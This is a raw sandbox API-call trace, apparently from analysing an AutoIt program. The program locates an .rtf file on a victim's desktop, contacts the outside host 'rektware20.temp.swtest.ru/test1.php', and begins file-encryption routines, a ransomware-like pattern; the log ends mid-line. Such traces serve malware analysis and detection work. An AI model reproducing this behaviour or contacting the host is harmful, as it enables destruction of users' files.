[0079.891] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0079.892] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0079.892] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.892] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0079.892] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0079.892] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0079.892] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0079.892] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ec8, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620ec8, lpdwBufferLength=0x130ef8c) returned 1 [0079.892] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0079.892] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0079.893] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0079.893] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0079.893] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0079.893] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0079.893] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0079.893] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0079.893] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0079.894] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0079.894] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0079.894] CloseHandle (hObject=0x0) returned 0 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.894] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Xz6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mznN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="znN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nN_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BJ6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="oMU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="MU Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Uf2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="u6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0079.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0079.895] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0079.895] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0079.896] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0079.896] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0079.896] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0079.896] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0079.896] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0079.896] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0079.896] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fb8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620fb8, lpdwBufferLength=0x130ee1c) returned 1 [0079.896] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0079.896] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0079.896] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0079.896] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0079.896] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0079.896] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0079.896] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629230, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629230*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0079.896] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294b0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0079.897] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0079.897] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0079.897] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0079.897] CloseHandle (hObject=0x0) returned 0 [0079.897] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.897] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dXz6\\mznN_f1BJ6oMU Uf2u6z.rtf", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0079.897] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0079.897] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.897] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0079.898] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.898] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.898] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0079.898] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.898] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0079.898] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.898] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.898] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0079.898] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.898] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.898] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.898] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.898] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0079.898] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0079.898] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0079.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0079.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0079.899] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0079.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0079.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164dfb0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0079.899] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0079.899] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0079.899] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.899] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.900] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0079.900] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.900] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.900] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.900] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.900] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.900] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0079.900] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.900] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0079.900] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0079.900] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.900] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.900] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0079.900] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0079.900] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.900] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0079.900] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0079.900] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.900] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0079.900] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0079.900] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.900] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.900] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0079.901] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.901] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0079.901] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0079.901] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 